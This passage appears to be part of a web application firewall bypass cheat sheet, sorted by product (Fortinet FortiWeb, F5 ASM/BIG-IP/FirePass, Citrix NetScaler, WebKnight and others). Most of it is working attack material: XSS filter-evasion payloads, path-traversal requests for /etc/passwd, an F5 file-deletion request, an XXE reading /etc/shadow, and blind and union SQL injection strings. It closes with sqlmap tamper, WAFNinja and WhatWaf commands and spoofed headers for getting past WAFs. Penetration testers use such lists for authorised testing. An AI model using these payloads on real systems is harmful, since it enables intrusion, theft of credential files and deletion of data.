../;pwd;&action=deletesite&linenum=15
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
  • GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
  • POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 

Fortinet Fortiweb

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 

Citrix NetScaler NS10.5

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string> union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>
/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

WebKnight

  • Cross Site Scripting (Source)
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

QuickDefense

  • Cross Site Scripting (Source)
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Apache

  • Writing method type in lowercase. (Source)
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS

    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Awesome Tools

WAF Fingerprinting:

1. Fingerprinting with NMap:
Source: GitHub | SVN

  • Normal WAF Fingerprinting
    nmap --script=http-waf-fingerprint <target>

  • Intensive WAF Fingerprinting
    nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <target>

  • Generic Detection
    nmap --script=http-waf-detect <target>

2. Fingerprinting with WafW00f:
Source: GitHub | Pypi

wafw00f <target>

WAF Testing:

WAF Evading:

1. Evading WAFs with SQLMap Tamper Scripts:

  • General Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
  • MSSQL Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
  • MySQL Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
  • Generic Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

2. Evading WAFs with WAFNinja
Source: GitHub

  • Fuzzing
    python wafninja.py fuzz -u <target> -t xss

  • Bypassing
    python wafninja.py bypass -u <target> -p "name=<payload>&Submit=Submit" -t xss

  • Insert Fuzzing
    python wafninja.py insert-fuzz -i select -e select -t sql

3. Evading WAFs with WhatWaf:
Source: GitHub

whatwaf -u <target> --ra --throttle 2

4. Evading with Bypass WAF - BurpSuite:
Source: Burp Suite App Store

  • Bypass WAF adds some headers to evade some WAF products:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
  • Create a session handling rule in Burp that invokes this extension.
  • Modify the scope to include applicable tools and URLs.
  • Configure the bypass options on the "Bypass WAF" tab.

Blogs and Writeups

Presentations & Research Papers

Research Papers:

Presentations: